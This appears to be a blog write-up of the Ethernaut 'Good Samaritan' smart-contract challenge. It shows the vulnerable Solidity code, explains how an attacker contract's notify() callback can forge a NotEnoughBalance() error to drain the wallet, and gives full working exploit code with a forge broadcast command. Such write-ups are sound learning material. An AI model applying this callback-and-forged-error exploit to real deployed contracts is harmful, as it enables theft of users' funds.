Ethernaut-27-Good Samaritan

Challenge

This instance represents a Good Samaritan that is wealthy and ready to donate some coins to anyone requesting it.

Would you be able to drain all the balance from his Wallet?

Things that might help:

// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;

import "openzeppelin-contracts-08/utils/Address.sol";

contract GoodSamaritan {
    Wallet public wallet;
    Coin public coin;

    constructor() {
        wallet = new Wallet();
        coin = new Coin(address(wallet));

        wallet.setCoin(coin);
    }

    function requestDonation() external returns (bool enoughBalance) {
        // donate 10 coins to requester
        try wallet.donate10(msg.sender) {
            return true;
        } catch (bytes memory err) {
            if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) {
                // send the coins left
                wallet.transferRemainder(msg.sender);
                return false;
            }
        }
    }
}

contract Coin {
    using Address for address;

    mapping(address => uint256) public balances;

    error InsufficientBalance(uint256 current, uint256 required);

    constructor(address wallet_) {
        // one million coins for Good Samaritan initially
        balances[wallet_] = 10 ** 6;
    }

    function transfer(address dest_, uint256 amount_) external {
        uint256 currentBalance = balances[msg.sender];

        // transfer only occurs if balance is enough
        if (amount_ <= currentBalance) {
            balances[msg.sender] -= amount_;
            balances[dest_] += amount_;

            if (dest_.isContract()) {
                // notify contract
                INotifyable(dest_).notify(amount_);
            }
        } else {
            revert InsufficientBalance(currentBalance, amount_);
        }
    }
}

contract Wallet {
    // The owner of the wallet instance
    address public owner;

    Coin public coin;

    error OnlyOwner();
    error NotEnoughBalance();

    modifier onlyOwner() {
        if (msg.sender != owner) {
            revert OnlyOwner();
        }
        _;
    }

    constructor() {
        owner = msg.sender;
    }

    function donate10(address dest_) external onlyOwner {
        // check balance left
        if (coin.balances(address(this)) < 10) {
            revert NotEnoughBalance();
        } else {
            // donate 10 coins
            coin.transfer(dest_, 10);
        }
    }

    function transferRemainder(address dest_) external onlyOwner {
        // transfer balance left
        coin.transfer(dest_, coin.balances(address(this)));
    }

    function setCoin(Coin coin_) external onlyOwner {
        coin = coin_;
    }
}

interface INotifyable {
    function notify(uint256 amount) external;
}

Solve

Our goal is to clear the coins of the Wallet contract.

From observing the source code of the Wallet contract, we know that we cannot directly call the Wallet.donate10() and Wallet.transferRemainder() functions because we are not Wallet.owner. Only the GoodSamaritan contract can call these two functions.

One of the ways to pass the challenge is that call the GoodSamaritan.requestDonation() function 100000 times, causing wallet.donate10(msg.sender) to be triggered 100000 times to solve the challenge. But this is too slow and costs a lot of gas fees.

Another way is that we try to make wallet.donate10(msg.sender) encounter an Error: NotEnoughBalance() error during execution, so that wallet.transferRemainder(msg.sender) can be triggered, thereby draining out coin.balances[Wallet].

To achieve this, we have to find a snippet where we can hijack the execution control flow. This exploitable snippet can be found in Coin.transfer() function.

contract Coin {
    function transfer(address dest_, uint256 amount_) external {
        uint256 currentBalance = balances[msg.sender];

        // transfer only occurs if balance is enough
        if (amount_ <= currentBalance) {
            balances[msg.sender] -= amount_;
            balances[dest_] += amount_;

            if (dest_.isContract()) {
                // notify contract
                INotifyable(dest_).notify(amount_); //@audit here, `dest_` is user-controllable
            }
        } else {
            revert InsufficientBalance(currentBalance, amount_);
        }
    }
}

Let’s summarize the exploit steps:

  1. Write an attack contract.

  2. The attack contract calls GoodSamaritan.requestDonation().

  3. The attack contract needs to implement a notify(uint256) function.

  4. In notify(uint256) function, it’ll trigger a custom error "NotEnoughBalance()".

  5. Done. wallet.transferRemainder(msg.sender) has been successfully executed.

Full solution code:


// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Script, console} from "forge-std/Script.sol";

contract Solver is Script {
    address good_samaritan = vm.envAddress("GOODSAMARITAN_INSTANCE");

    function setUp() public {}

    function run() public {
        vm.startBroadcast(vm.envUint("PRIV_KEY"));

        PoorGuy poorguy = new PoorGuy();
        poorguy.drain(good_samaritan);

        vm.stopBroadcast();
    }
}

contract PoorGuy {
    error NotEnoughBalance();

    function drain(address good_samaritan) external {
        good_samaritan.call(abi.encodeWithSignature("requestDonation()"));
    }

    function notify(uint256 amount) external{
        if (amount <= 10) {
            revert NotEnoughBalance();
        }
    }
}
forge script script/Ethernaut27-GoodSamaritan.s.sol:Solver -f $RPC_OP_SEPOLIA --broadcast

Potential Patches

None, this level is just designed for fun.

Please pay attention to whether the object of the external call is unsanitized function arguments or untrust addresses.

0
Subscribe to my newsletter

Read articles from whiteberets[.]eth directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

whiteberets[.]eth
whiteberets[.]eth

Please don't OSINT me, I'd be shy. 🫣